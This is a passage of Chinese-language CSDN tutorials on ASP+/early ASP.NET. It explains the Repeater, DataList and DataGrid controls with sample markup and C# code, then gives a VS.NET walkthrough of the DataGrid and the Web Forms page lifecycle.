而这些访问通常是 Web 应用程序最耗费资源的操作。

    一般规则是每当您需要重新创建项目时都必须调用DataBind。在大多
数情况下，您将在您的页面首次被请求创建初始项目集合时调用DataBind。
在该页面的后续执行过程中，您将需要在引起项目集合被更改的各种事件
处理程序中调用此方法。当用于创建初始数据源的查询被修改时，就可能
发生这种情况。当项目的状态改变（如从只读模式变为编辑模式）时也可
能发生这种情况。

样式

    通过在对象模型上使用样式属性，您可以定义全部DataList和DataGrid
控件及其所包含项目的格式和外观。这些属性允许定制字体、颜色、边框
和其它外观因素。控件本身的样式属性（如前景色、背景色、字体和边框
样式）将影响整个控件的表示。

    此外，每个控件都包含与其所创建的项目类型相匹配的大量样式属性，
如as ItemStyle、AlternatingItemStyle和headerStyle。DataGrid提供
第三级的样式属性，这些属性将影响特定列的所有单元格。控件中包含的
每一列都可以拥有其自己的 headerStyle、FooterStyle 和 ItemStyle。

模板

    样式控制格式显示，而模板则定义每个项目的内容和表示。您可以将
模板看作HTML代码片断，它定义了用来表示项目的控件层次结构。

    Repeater 和 DataList 控件由您指定的模板来驱动，提供各种可设
置的模板属性，如ItemTemplate、AlternatingItemTemplate和header
Template。与样式类似，每个模板都对应于一个特定类型的项目。

    DataGrid 控件未模板化。但是，控件的 Column 集合中的 Template
Columns使DataGrid中模板的使用成为可能。TemplateColumn中的每个单
元格都可以包含一个模板，这与 Repeater 或 DataList 控件中的项目极
为类似。这也使 DataGrid 中的定制表示成为可能。

模板中的数据绑定

    模板定义项目中包含的控件层次结构。通过使用数据绑定表达式，此
层次结构中的控件属性可绑定到与此项目相关联的数据属性上。

    作为模板的逻辑父级的项目在数据绑定表达式中被称为“容器”。每
个容器都有一个称为DataItem的属性，该属性引用其相关联的数据。结果
是，模板中的大多数典型数据绑定表达式都将控件属性绑定到 Container.
DataItem的某个属性上。将在以下几节介绍的示例中进一步说明这种绑定。

Repeater 控件

    如前面所述，Repeater控件是完全由模板驱动的，允许创建完全可定
制的表示和布局。下图说明了这一功能。

摘自 Repeater1.aspx：

〈%@ Page language="C#" src="Repeater1.cs" inherits="Samples.
Repeater1Page"%〉
...

〈asp:Repeater runat=server id="linksListRepeater"
  DataSource='〈%# SiteLinks %〉'〉
  〈template name="headerTemplate"〉
    〈ul type="1"〉
  〈/template〉
  〈template name="ItemTemplate"〉
    〈li〉
      〈asp:HyperLink runat=server
        Text='〈%# DataBinder.Eval(Container.DataItem, "SiteName")
        %〉'
        NavigateUrl='〈%# DataBinder.Eval(Container.DataItem,
        "SiteURL") %〉'〉
      〈/asp:HyperLink〉
    〈/li〉
  〈/template〉
  〈template name="FooterTemplate"〉
    〈/ul〉
  〈/template〉
〈/asp:Repeater〉

    此.aspx文件显示了一个用于生成带项目符号列表的 repeater控件的
声明。

    此示例说明了用数据绑定语法(〈%#...%〉)设置数据源的声明方法。
当您调用 DataBind 方法时，数据绑定中的表达式就会被执行。在这种情
况下，repeater 的 DataSource 属性被绑定到页面的 SiteLinks 属性上，
后者包含要显示的 URL 引用。

    Repeater是唯一允许在其模板中存在 HTML片段的控件，将 Repeater
控件和HTML片段合在一起会产生良好形式的HTML。在本示例中，带项目符
号的列表分为三个部分：

    由 headerTemplate 表示的列表开始标记 (〈ul type="1"〉)。

    由 FooterTemplate 表示的列表结束标记 (〈/ul〉)。

    列表的主体由通过为 SiteLinks 集合中出现的每个对象重复 Item
Template 而生成的列表项 (〈li〉) 置入。

    您也可以使用这些模板在标头中指定表的开始标记(〈TABLE〉)，在注
脚中指定表的结束标记(〈/TABLE〉)，在每个项目中指定单个表行(〈TR〉)。此替换选项将导致列表表示。

    您必须指定 ItemTemplate。它是唯一必需的模板。当未指定其它模
板时，控件会自动将此 ItemTemplate 用于其它模板。

    在以下示例中，ItemTemplate 包含一个 HyperLink Web 控件。此控
件的Text和NavigateUrl属性被绑定到与每个重复项目相关联的数据属性
上。这又是使用数据绑定表达式（在创建项目后立即对该表达式求值）完
成的。

Repeater1.cs:

namespace Samples {
  ...

  public class Repeater1Page : Page {
      protected Repeater linksListRepeater;

      public ICollection SiteLinks {
          get {
              ArrayList sites = new ArrayList();

              sites.Add(new SiteInfo("Microsoft Home",
                                     "http://www.microsoft.com"));
              sites.Add(new SiteInfo("MSDN Home",
                                     "http://msdn.microsoft.com"));
              sites.Add(new SiteInfo("MSN Homepage",
                                     "http://www.msn.com"));
              sites.Add(new SiteInfo("Hotmail",
                                     "http://www.hotmail.com"));
              return sites;
          }
      }

      protected override void OnLoad(EventArgs e) {
          base.OnLoad(e);

          if (!IsPostBack) {
              // 首次请求该页时即对其进行数据绑定 (DataBind)。
              // 这将在此页的控件层次结构中递归调用每个控件。
              DataBind();
          }
      }
  }

  public sealed class SiteInfo {
      private string siteName;
      private string siteURL;

      public SiteInfo(string siteName, string siteURL) {
          this.siteName = siteName;
          this.siteURL = siteURL;
      }

      public string SiteName {
          get { return siteName; }
      }
      public string SiteURL {
          get { return siteURL; }
      }
  }
}

    此 .cs 文件包含随前一个列表中的 aspx 页一起出现的代码。


csdn_使用 ASP+ 列表绑定控件（中）

  使用 ASP+ 列表绑定控件（中）
Repeater1Page 类覆盖了 Page 类的 OnLoad 方法。此表示在对该页
的首次请求中调用 DataBind。这将导致对这些页上的数据绑定表达式求
值并使 repeater 控件列举数据源以及创建其项目。仅在首次请求时调用
DataBind 方法。这之所以能正常工作是因为 repeater能够在从前一次保
存状态的回传过程中重新创建其项目，而无需数据源实例。

    此页将类型ICollection 的公用属性显露出来。这将在设置repeater
的 DataSource 属性值的数据绑定表达式中使用。属性的获取实现使用包
含一组SiteInfo对象序列的ArrayList。此属性是公用的，因为只有页类
的公用和保护成员可在数据绑定表达式中使用。

    每个SiteInfo 对象有两个属性：SiteName 和 SiteURL。当对模板中
的HyperLink 控件进行数据绑定时将访问这些属性。在此控件的绑定表达
式中，Container.DataItem 表示要将特定项绑定到其上的单个 SiteInfo
对象。DataBinder.Eval(Container.DataItem, "SiteName") 访问当前
SiteInfo 对象的 SiteName 属性。

    Repeater1 示例向您介绍了几个基本概念：

●定义模板
●模板中的数据绑定语法和数据绑定表达式
●将 ArrayList 的 ICollection 表示用作数据源
●在最初处理页的过程中调用 DataBind 方法

DataList 控件

    DataList控件是一个模板化控件，它提供使用样式属性可视化地格式
化其表示的能力。它也可以产生多列布局。

摘自 DataList1.aspx：

〈%@ Page language="C#" src="DataList1.cs" inherits="Samples.
DataList1Page"%〉
...

〈asp:DataList runat=server id="peopleDataList"
  RepeatColumns="2" RepeatDirection="Vertical" RepeatMode="Table"
  Width="100%"〉

  〈property name="AlternatingItemStyle"〉
    〈asp:TableItemStyle BackColor="#EEEEEE"/〉
  〈/property〉
  〈template name="ItemTemplate"〉
    〈asp:Panel runat=server font-size="12pt" font-bold="true"〉
      〈%# ((Person)Container.DataItem).Name %〉
    〈/asp:Panel〉
    〈asp:Label runat=server Width="20px"
      BorderStyle="Solid" BorderWidth="1px" BorderColor="Black"
      BackColor='〈%# ((Person)Container.DataItem).FavoriteColor
      %〉'〉
    〈/asp:Label〉

    〈asp:Label runat=server Font-Size="10pt"
      Text='〈%# GetColorName(((Person)Container.DataItem).
      FavoriteColor) %〉'〉
    〈/asp:Label〉
  〈/template〉
〈/asp:DataList〉

此 .aspx 文件显示了用来生成此示例的 DataList 的声明。

    在此示例中，DataList 的多列布局是通过将 RepeatColumns 属性设
置为“2”来实现的。将RepeatDirection设置为“Vertical”会使项目从
上到下、然后从左到右排列。相反，值设置为“Horizontal”会导致项目
从左到右、然后从上到下排列。

    aspx语法包含对少数几种DataList的样式属性的设置。在此示例中，
DataList的Width被设置为其父级的100%。设置具灰色背景的Alternating
ItemStyle是为了获得带有条纹的外观。此示例还说明模板可以包含任意
复杂的控件定义，以满足在每个项目内获得理想布局的需要。

    最后此模板中的数据绑定表达式通过将Container.DataItem转换为其
类型来使用前期绑定。这不会招致与使用DataBinder.Eval（如 Repeater1
中所示)相关联的后期绑定的代价。但是，这种方法可能会产生可读性较
差的表达式。以下示例还给出了一个调用GetColorName方法（该方法是在
本页有代码支持的文件中实现的）的表达式示例。

DataList1.cs:

namespace Samples {
    ...

    public class DataList1Page : Page {
        protected DataList peopleDataList;

        protected string GetColorName(Color c) {
            return
              TypeDescriptor.GetConverter(typeof(Color)).Convert
              ToString(c);
        }

        private void LoadPeopleList() {
            // 创建数据源
            Person[] people = new Person[] {
                new Person("Nikhil Kothari", Color.Green),
                new Person("Steve Millet", Color.Purple),
                new Person("Chris Anderson", Color.Blue),
                new Person("Mike Pope", Color.Orange),
                new Person("Anthony Moore", Color.Yellow),
                new Person("Jon Jung", Color.MediumAquamarine),
                new Person("Susan Warren", Color.SlateBlue),
                new Person("Izzy Gryko", Color.Red)
            };

            // 设置控件的数据源
            peopleDataList.DataSource = people;

            // 并使该控件用此数据源构建其项目
            peopleDataList.DataBind();
        }

        protected override void OnLoad(EventArgs e) {
            base.OnLoad(e);

            if (!IsPostBack) {
                // 首次请求此页
                LoadPeopleList();
            }
        }
    }

    public sealed class Person {
        private string name;
        private Color favoriteColor;

        public Person(string name, Color favoriteColor) {
             this.name = name;
             this.favoriteColor = favoriteColor;
        }

        public Color FavoriteColor {
            get { return favoriteColor; }
        }
        public string Name {
            get { return name; }
        }
    }
}

    在此页中，控件的 DataSource 属性是通过程序设置的，与在aspx文
件中声明性地设置相对。两种方法的结果相同。无法选择哪种方法，都必
须调用 DataBind 方法，以便控件可以列举其数据源并创建它要表示的项
目。

    此示例中所用的数据源是 Person 对象的一个简单数组。由于每个数
组都实现ICollection方法，所以数组适合用作数据源。这显示了将数据
结构和类型用作数据源时可获得的灵活程度。

DataList1 示例介绍了下列概念：

●在模板中定义丰富的 HTML UI
●使用简单数组作为数据源
●通过程序设置数据源
●数据绑定语法中所允许的各种表达式

DataGrid 控件

    DataGrid 控件使您可以生成数据源格式丰富的列表表示。此外，它
还支持随其它操作选择项目。

    本节的四个示例使用包含有关书名信息（标题、标题ID、作者、价格
和出版日期）的表。全部数据都用TitlesDB.xml中的XML予以维持。在建
立页面来表示此表的内容并选择书籍时，这些示例遵循增量方法。代码列
表包含黑体文本，以表明一个示例构建于以前示例时所作的更改。

截自 TitlesDB.xml：

〈root〉
〈schema id="DocumentElement" targetNamespace=""
        xmlns=http://www.w3.org/1999/XMLSchema
        xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"〉
    〈element name="Title"〉
        〈complexType content="elementOnly"〉
            〈element name="title_id" type="string"〉〈/element〉
            〈element name="title" type="string"〉〈/element〉
            〈element name="au_name" type="string"〉〈/element〉
            〈element name="price" msdata:DataType="System.
            Currency"
                     minOccurs="0"
                     type="string"〉〈/element〉
            〈element name="pubdate" type="timeInstant"〉
            〈/element〉
        〈/complexType〉
        〈unique name="TitleConstraint" msdata:PrimaryKey="True"〉
            〈selector〉.〈/selector〉
            〈field〉title_id〈/field〉
        〈/unique〉
    〈/element〉
〈/schema〉
〈DocumentElement〉
    〈Title〉
        〈title_id〉BU1032〈/title_id〉
        〈title〉The Busy Executive's Database Guide〈/title〉
        〈au_name〉Marjorie Green〈/au_name〉
        〈price〉19.99〈/price〉
        〈pubdate〉1991-06-12T07:00:00〈/pubdate〉
    〈/Title〉
    ...
〈/DocumentElement〉
〈/root〉

    在典型的Web应用程序中，为了获得最大的可伸缩性和性能上的好处，
很可能会使用 Web服务或商业对象来存取数据。为了简化这些示例并将注
意力集中在使用 DataGrid 而不是数据存取上，我们选择在应用程序启动
时一次性加载数据，并在 Global.asax 中的 ASP 应用程序状态中高速缓
存所得的DataSet，如下所示。

截自 Global.asax：

public void Application_OnStart() {
    FileStream fs = null;
    DataSet ds = null;

    try {
        fs = new FileStream(Server.MapPath("TitlesDB.xml"),
        FileMode.Open,
                            FileAccess.Read);
        ds = new DataSet();

        // 将 xml 文件中的数据加载到 DataSet 中
        ds.ReadXml(fs);
    } finally {
        if (fs != null) {
            fs.Close();
            fs = null;
        }
    }

    // 将数据集高速缓存到应用程序状态中，以便在单个页面中使用
    Application["TitlesDataSet"] = ds;
}

DataGrid1

    DataGrid1说明DataGrid的基本用法，说明控件如何用最少的用户代
码生成表示来提供丰富的功能。

截自 DataGrid1.aspx：

〈%@ Page language="C#" src="DataGrid.cs" inherits="Samples.Data
GridPage"%〉
...

〈asp:DataGrid runat=server id="titlesGrid"〉
〈/asp:DataGrid〉

    上面的.aspx 文件显示在不设置 DataGrid 控件任何属性的情况下对
其进行声明。

DataGrid.cs：

namespace Samples {
    ...

    public class DataGridPage : Page {
        protected DataGrid titlesGrid;

        public ICollection GetTitlesList() {
            // 从在应用程序状态中高速缓存的 DataSet 中检索标题列
            表。
            DataSet titlesDataSet = (DataSet)Application["Titles
            DataSet"];

            if (titlesDataSet != null) {
                return titlesDataSet.Tables["Title"].DefaultView;
            }
            else {
                return null;
            }
        }

        private void LoadTitlesGrid() {
            // 从数据库中检索数据
            ICollection titlesList = GetTitlesList();

            // 设置控件的数据源
            titlesGrid.DataSource = titlesList;

            // 并使它用此数据源构建其项目
            titlesGrid.DataBind();
        }

        protected override void OnLoad(EventArgs e) {
            base.OnLoad(e);

            if (!IsPostBack) {
                // 首次请求此页
                LoadTitlesGrid();
            }
        }
    }
}

    .cs文件包含用于此页的代码。此代码与DataList1示例中使用的代码
功能相同。在对此页的首次请求中，它覆盖 OnLoad 方法以检索数据并在
调用DataBind之前设置控件的DataSource属性。这将使DataGrid创建其项
目，这些项目是表中必要的行。在回传处理的过程中，DataGrid从状态
（该状态包括在上一次请求中所保存的单元格内容）重新创建项目。

    此示例说明了 DataGrid 控件的 AutoGenerateColumns 属性的功能。
此属性的默认值为 true。当设置为 true时，DataGrid将使用reflection
检查其数据源和对象，并为每个公用属性或字段创建一个列。在此示例中，
控件表示“标题”表中当前的所有字段。这一功能允许用最少的用户代码
快速而容易地生成任何数据源的列表表示。

    每个自动生成列的类型都是BoundColumn。这种列类型将与其关联的
属性值转换为要用作表单元格文本的字符串。

DataGrid2

    DataGrid2说明具有在.aspx文件中定义的Columns集合的DataGrid。

摘自 DataGrid2.aspx：

〈%@ Page language="C#" src="DataGrid.cs" inherits="Samples.Data
GridPage"%〉
...

〈asp:DataGrid runat=server id="titlesGrid"
     AutoGenerateColumns="false"〉
  〈property name="Columns"〉
    〈asp:BoundColumn headerText="Title" DataField="title"/〉
    〈asp:BoundColumn headerText="Author" DataField="au_name"/〉
    〈asp:BoundColumn headerText="Date Published" DataField="
    pubdate"/〉
    〈asp:BoundColumn headerText="Price" DataField="price"/〉
  〈/property〉
〈/asp:DataGrid〉

    此.aspx文件显示了一个具有用户指定的列集合的 DataGrid 控件。
此示例使用与 DataGrid1 相同的有代码支持的文件，因为不需要更改任
何代码。

    DataGrid的AutoGenerateColumns属性被设置为假，从而阻止控件自
动生成列，而让用户负责定义将要在表中表示的列。

有许多好处：
●您可控制列的顺序。以声明的顺序表示列。另一方面，自动生成的列是
按用映像检索到的顺序表示的，此顺序不必与代码中的列顺序或数据库表
本身的列顺序相匹配。
●可以用列的headerText属性来指定每列的标头。在前一个示例中，列标
头指明了字段名，这可能并不合适。当在此模式下使用控件时，Columns
还提供其它可设置的属性。
●自动生成的列的类型始终是 BoundColumn。指定列集合使用户可以控制
每列的类型。


csdn_使用 ASP+ 列表绑定控件（下）

  使用 ASP+ 列表绑定控件（下）
〈%@ Page language="C#" src="DataGrid.cs" inherits="Samples.Data
GridPage"%〉
...

〈asp:DataGrid runat=server id="titlesGrid"
     AutoGenerateColumns="false"
     Width="80%"
     BackColor="White"
     BorderWidth="1px" BorderStyle="Solid" CellPadding="2" Cell
     Spacing="0"
     BorderColor="Tan"
     Font-Name="宋体" Font-Size="8pt"〉
  〈property name="Columns"〉
    〈asp:BoundColumn headerText="Title" DataField="title"/〉
    〈asp:BoundColumn headerText="Author" DataField="au_name"/〉
    〈asp:BoundColumn headerText="Date Published" DataField=
    "pubdate"
         DataFormatString="{0:MMM yyyy}"/〉
    〈asp:BoundColumn headerText="Price" DataField="price"
      DataFormatString="{0:c}"〉
      〈property name="ItemStyle"〉
        〈asp:TableItemStyle HorizontalAlign="Right"/〉
      〈/property〉
    〈/asp:BoundColumn〉
  〈/property〉

  〈property name="headerStyle"〉
    〈asp:TableItemStyle BackColor="DarkRed" ForeColor="White"
      Font-Bold="true"/〉
  〈/property〉
  〈property name="ItemStyle"〉
    〈asp:TableItemStyle ForeColor="DarkSlateBlue"/〉
  〈/property〉
  〈property name="AlternatingItemStyle"〉
    〈asp:TableItemStyle BackColor="Beige"/〉
  〈/property〉
〈/asp:DataGrid〉

    此.aspx文件显示了与前面相同的DataGrid控件声明，并设置了各种
样式属性。这将导致视觉上更具吸引力的表示。仍就不需要对代码进行任
何更改，使用与以前示例相同的有代码支持的文件。

    因为它是从 WebControl 得到的，所以 DataGrid 控件继承了诸如
Width、BackColor、BorderStyle 和 Font.Name 之类的样式属性。此外，
DataGrid提供诸如CellPadding这样的属性，这些属性是特定于表的。这
些属性允许从总体上定制控件。

    声明还显示了设置的若干项目样式，如headerStyle和Alternating
ItemStyle。这些样式控制着它们相应项目的外观。请注意此示例中出现
的样式合并。备选项目与一般项目的前景色相同，因为它们的样式是
AlternatingItemStyle和ItemStyle的组合。最后，此示例还通过右对齐
价格列中的文本说明了为特定列设置样式。

    DataGrid还允许您格式化其单元格中的文本内容。这是通过设置Bound
Column的DataFormatString属性值完成的。该列使用其格式说明格式化使
用 String.Format的单元格内容。此属性可随格式化类型（如日期或货币）
一起预置或附加任意内容。此外，由于格式化考虑了当前页的CultureInfo
和请求，所以它也支持全局化。如果未指定格式，则使用该值的ToString
方法。

DataGrid4

    DataGrid4 说明如何通过处理 SelectedIndexChanged 事件来利用
DataGrid 中的选择。

截自 DataGrid4.aspx：

〈%@ Page language="C#" src="DataGrid4.cs" inherits="Samples.
DataGrid4Page"%〉
...

〈asp:DataGrid runat=server id="titlesGrid"
     AutoGenerateColumns="false"
     Width="80%"
     BackColor="White"
     BorderWidth="1px" BorderStyle="Solid" CellPadding="2"
     CellSpacing="0"
     BorderColor="Tan"
     Font-Name="宋体" Font-Size="8pt"
     DataKeyField="title_id"
     OnSelectedIndexChanged="OnSelectedIndexChangedTitlesGrid"〉
  〈property name="Columns"〉
    〈asp:ButtonColumn Text="Select" Command="Select"/〉
    〈asp:BoundColumn headerText="Title" DataField="title"/〉
    〈asp:BoundColumn headerText="Author" DataField="au_name"/〉
    〈asp:BoundColumn headerText="Date Published" DataField=
    "pubdate"
         DataFormatString="{0:MMM yyyy}"/〉
    〈asp:BoundColumn headerText="Price" DataField="price"
      DataFormatString="{0:c}"〉
      〈property name="ItemStyle"〉
        〈asp:TableItemStyle HorizontalAlign="Right"/〉
      〈/property〉
    〈/asp:BoundColumn〉
  〈/property〉

  〈property name="headerStyle"〉
    〈asp:TableItemStyle BackColor="DarkRed" ForeColor="White"
      Font-Bold="true"/〉
  〈/property〉
  〈property name="ItemStyle"〉
    〈asp:TableItemStyle ForeColor="DarkSlateBlue"/〉
  〈/property〉
  〈property name="AlternatingItemStyle"〉
    〈asp:TableItemStyle BackColor="Beige"/〉
  〈/property〉
  〈property name="SelectedItemStyle"〉
    〈asp:TableItemStyle BackColor="PaleGoldenRod" Font-Bold=
    "true"/〉
  〈/property〉
〈/asp:DataGrid〉
...
〈asp:Label runat=server id="selectionInfoLabel" Font-Name="宋体"
Font-Size="8pt"/〉

    在此.aspx文件中，为DataGrid的SelectedIndexChanged事件注册了
一个事件处理程序。此事件处理程序是在有代码支持的文件中实现的。已
在列集合中添加了一个命令为“Select”的 ButtonColumn，使得DataGrid
为每个项目表示一个包含Select按钮的附加列。同时指定了SelectedItem
Style。此样式用于从视觉上区分选定的项目。最后还指定了 DataGrid的
DataKeyField属性。此字段将置入DataGrid的DataKeys集合，该集合将在
有代码支持的文件中用到。

DataGrid4.cs：

namespace Samples {
    ...

    public class DataGrid4Page : Page {
        protected DataGrid titlesGrid;
        protected Label selectionInfoLabel;

        public ICollection GetTitlesList() {
            // 从在应用程序状态中高速缓存的 DataSet 中检索标题列
            表。
            DataSet titlesDataSet = (DataSet)Application["Titles
            DataSet"];

            if (titlesDataSet != null) {
                return titlesDataSet.Tables["Title"].DefaultView;
            }
            else {
                return null;
            }
        }

        private void LoadTitlesGrid() {
            // 从数据库中检索数据
            ICollection titlesList = GetTitlesList();

            // 设置控件的数据源并重新设置其选择，
            titlesGrid.DataSource = titlesList;
            titlesGrid.SelectedIndex = -1;

            // 并使该控件使用此数据源构建其项目
            titlesGrid.DataBind();

            // 更新选定的标题信息
            UpdateSelectedTitleInfo();
        }

        protected override void OnLoad(EventArgs e) {
            base.OnLoad(e);

            if (!IsPostBack) {
                // 首次请求此页
                LoadTitlesGrid();
            }
        }

        // 处理 DataGrid 的 OnSelectedIndexChanged 事件
        protected void OnSelectedIndexChangedTitlesGrid(object
        sender,
                                                        EventArgs
                                                        e) {
            UpdateSelectedTitleInfo();
        }

        private void UpdateSelectedTitleInfo() {
            // 获取选定的索引
            int selIndex = titlesGrid.SelectedIndex;
            string selTitleID = null;
            string selectionInfo;

            if (selIndex != -1) {
                // 显示选定标题的关键字段
                selTitleID = (string)titlesGrid.DataKeys[selIndex];
                selectionInfo = "ID of selected title: " +
                selTitleID;
            }
            else {
                selectionInfo = "No title is currently selected.";
            }

            selectionInfoLabel.Text = selectionInfo;
        }
    }
}

    此 .cs 文件包含处理 SelectedIndexChanged 事件以及在 DataGrid
下显示选定标题的ID的逻辑。DataGrid处理命令事件，该事件是通过包含
在其项目中的按钮触发的。它识别标准命令“Select”，该命令使其更改
它的SelectedIndex属性，并通过触发此事件来将此更改通知用户的代码。

    在实现事件处理程序的过程中，示例代码调用 UpdateSelectedTitle
Info 方法。该方法负责显示有关选定书名的信息，本例中为标题的 ID。
在更现实的方案中，此 ID 可用来链接某个页面，以显示有关选定标题的
更多详细信息。

    ID 是通过访问 DataKeys 集合进行检索的。该集合是因为设置了
DataKeyField属性而置入的。通常，将它设置为主关键字或使用户可以唯
一标识项目的某些其它字段，并将此信息用作后续的数据库查询或过滤数
据中的准则。

    此示例说明除了仅仅表示数据源中的对象之外，如何进一步支持诸如
选择数据源中对象之类的操作。DataGrid 包含对若干其它特性（如排序、
分页、现场编辑和TemplateColumns）的支持。但是，这些特定特性超出
了本文的讨论范围，将在以后的文章中加以探讨。

Repeater、DataList 或 DataGrid？

    Repeater、DataList和DataGrid控件共享公用编程模型。同时，每个
控件都被设计为侧重某个特定方案，为正确的方案选择正确的列表绑定控
件是一个重要的决策。本节说明控件层次结构和每种控件的功能，以及每
种控件可能用于的典型方案的示例。

    正如在下面的类层次结构中看到的那样，Repeater是一种小巧轻便的
控件。它只继承了基本Control类的功能，如 ID 属性和子控件集合。另
一方面，DataList 控件和 DataGrid 控件都继承了 WebControl 功能，
如样式和外观属性。

    在对象模型方面，repeater控件是最简单的控件。它同时也是最小的
数据绑定控件并且基本上是不同的，即它不会强制使用任何特殊的UI布局。
最后的表示遵循生成文本的方法，其方式是通过重复为此控件指定的模板
内容。此控件对样式和外观属性或行为不提供任何内建的支持。对于需要
完全控制表示的方案而言，它是一个极好的选择。

    DataList 控件是强制使用分列布局或流布局的 repeater。它继承了
WebControl 中实现的外观属性，并增加了适用于它所创建的项目的其它
样式属性。DataList控件还包括对其项目标准操作（如选择、编辑和删除）
的支持。它很适用于生成分布于一列或多列的水平或垂直的项目序列流。

    DataGrid控件强制使用列或行的列表布局。与DataList类似，此控件
提供样式和外观属性。除选择和编辑之外，DataGrid还支持对整个项目集
合的高级操作，如分页和排序。DataGrid 和 DataList 的一个主要区别
是 DataGrid 不包含任何模板属性，即 DataGrid 控件的项目或行是非模
板化的。但是，将 TemplateColumn 添加到 DataGrid 中就可以在特定列
中使用模板。

下表是列表绑定控件所提供的功能的摘要。

功能 Repeater DataList DataGrid
模板 是（必需） 是（必需） 列内（可选）
列表布局 否 否 是
流布局 是 是 否
分列/报纸栏目样式布局 否 是 否
样式和外观属性 否 是 是
选择 否 是 是
编辑 否 是 是
删除 否 是 是
分页 否 否 是
排序 否 否 是

相关资源

    随Microsoft .NET Framework SDK 发布的QuickStart示例包含这些
控件的若干示例，以及说明使用 XML 和 Web 服务存取数据的示例。SDK
附带的文档包括相关主题的概念性资料，如ASP+页面框架和服务器控件，
以及说明作为此框架一部分的控件的对象模型的参考书目。


csdn_在VS.NET中编写Web应用程序（一）

  在VS.NET中编写Web应用程序（一）
作者： 青苹果工作室
本教程将一步步地引导你创建一个 Web 应用程序。在 .NET运行时间内，Web应用程序在一个 ASP.NET页面后台运行。ASP.NET 凭借.NET语言，包括 C#、VB.NET和 Jscript，提供了一个很棒的工作环境，这里使用的是C#编程语言（可下载工程文件包）。
本文分成三部分：DataGrid Web 控件简介、Web表单的生命周期、用VS.NET 开发Web 表单应用程序。

ASP.NET 平台的运行条件
要运行一个 ASP.NET应用程序，必须要在Windows 2000或者Windows NT 4 + Service Pack 6a操作系统上安装Web Server(IIS) 。我们可以使用任何 .NET 语言来编写代码，包括VB.NET 和 C#。这里的环境是：Windows 2000 + Visual Studio.NET Beta 1 + Personal Web Server + C#。

第一部分：DataGrid 控件简介
这个教程使用DataGrid Web 控件显示数据库表中的数据。应用程序开始前，先讨论一下 DataGrid Web 控件。

DataGridWeb控件负责显示数据库中的表数据。借助ADO.NETDataSet（数据集）对象，我们可以将一个数据库表或部分表数据与栅格建立连接。首先创建一个ADODataSetCommand对象，并从一个数据库表中选择数据。在这里的例子中，我使用了一个叫做myDB.mdb的数据库，它有一个表 myTable：

// Create an object of ADODataSetCommand
ADODataSetCommand myCmd = new ADODataSetCommand( "Select * from myTable", "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=myDB.mdb");

接着创建并填充 DataSet（数据集）对象：

// Create a DataSet Object
DataSet ds = new DataSet();
// Fill DataSet with the data
myCmd.FillDataSet(ds, "Student");

然后用DataGrid 的DataSource属性将DataSet（数据集）的数据填充到栅格中，其中使用了DataBind()方法：

// View Data from DataSet to DataGrid
DataGrid1.DataSource = ds.Tables["Student”].DefaultView;
DataGrid1.DataBind();

下面介绍DataGrid Web 控件的属性。

DataGridWeb控件包含一套丰富的属性，借助它们，就可以用自己喜欢的方式来定制栅格。在DataGrid上点击右键并点击属性页面按钮，进入属性设置窗口：

通用属性
这个页面中设置 DataSource。可以允许显示页眉和页脚，允许分类复选框，允许在栅格中进行分类：

栏属性
下面的页面中可以增加栏（设计时）和它们的属性：

分页属性
分页是栅格控件的一个重要特征。在下面的页面中，设置每页的行数、栅格行的格式并激活定制页面：

格式属性
在下面这个页面允许设置栅格的颜色、字体，页面、页眉和页脚：

边框属性
下面这个页面允许设置边框的颜色和字体、单元的填料和间隔以及栅格行的类型：


csdn_在VS.NET中编写Web应用程序（二）

  在VS.NET中编写Web应用程序（二）
作者： 青苹果工作室
第二部分：Web 表单的生命周期
如果你曾经在VS以前版本中设计过Windows分布式应用程序，你就会发现在Web表单应用程序和分布式应用程序之间有许多相同之处。本教程只简单讨论Web表单生命周期的一些内容，目的是使你对 Web表单如何工作有个概念。

一个Web表单的生命周期中有4个步骤：初始化、页面装载、事件处理和资源清理。

1）页面初始化
当页面被初始化时，发生第一个事件Page_Init。系统会执行创建和设置一个例示所需要的所有初始化步骤。
2）页面装载
页面装载在初始化之后，所发生的事件叫做 Page_Load，它的用途如下：
检查页面是不是第一次被处理；
第一次处理页面时执行数据捆绑，或者在以后的循环过程中重新判断数据捆绑表达式；
读取和更新控件属性；
恢复在保存步骤中所保存的前一个客户请求的状态；
3）事件处理
Web表单上的每个动作都激活一个到达服务器的事件。一个Web表单有两个视图：一个客户视图和一个服务器视图。所有的数据处理都在服务器上进行。当通过点击鼠标或其它方法引起一个事件时，事件就到达服务器并返回相应的数据。
4）资源清理
最后一步发生于一个表单完成了它的任务并且准备卸载的时候，这时激活Page_Unload事件，完成最后的资源清理工作，比如：关闭文件，关闭数据库连接，丢弃对象。


csdn_在VS.NET中编写Web应用程序（三）

  在VS.NET中编写Web应用程序（三）
作者： 青苹果工作室
第三部分：开发Web应用程序
好，现在进行到开发 Web 表单应用程序这一步了。

创建工程文件的框架
用Visual Studio.NET创建一个Web应用程序并不困难，只需遵循几个简单步骤，向导就会为你创建一个很好的框架。此后，就可以用Web控件制工具箱向ASP页面中安置一些Web控件，然后就象在任何基于GUI应用程序的表单中所做的那样，设置这些控件属性。请跟随以下步骤：

第一步：选择一个工程文件
从Visual Studio .NET 主菜单中，选择“文件->新建>工程文件”，选择“Visual C# 工程文件->Web应用程序”，在文件名文本框中键入你的工程文件名，在位置文本框中是你的web服务器的根目录，使用浏览按钮可以找到正确的路径。选择了这些内容之后，点击 OK。

第二步：设置属性
下一个画面是这样的：

WebForm1.aspx是默认的ASP.NET页面，其中容纳了ASP.NET代码和控件。你可以把这个页面当作一个WebForm来对待。使用左侧的工具箱，向页面中拖曳和放置控件。
在页面上点击右键来设置页面的属性，图示如下：

这个窗口共有3个功能页，通用页让你选择脚本语言和页面版面，另外两个用于设置页面文本、超级链接以及被访问过的超级链接和关键字的颜色和字体。
第三步：向 WebForm增加控件
现在使用工具箱向页面中增加Web控件。这里增加了两个控件，一个按钮和一个 DataGrid 。点击右键可以设置这些控件的属性。

第四步：增加事件处理器
这以前已经展示了 DataGrid 和ADO.NET，下面将使用同样的技术，在DataGrid中填充一个数据库的数据。点击Button来填充栅格。
双击这个按钮，进入WebForm1.cs文件中，开始编写与按钮相应的事件处理器：

Button1.Click += new System.EventHandler (this.Button1_Click);
public void Button1_Click (object sender,System.EventArgs e)
{
}
Here is the code of the cs file -
namespace CSCornerWebAppSample
{
using system;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
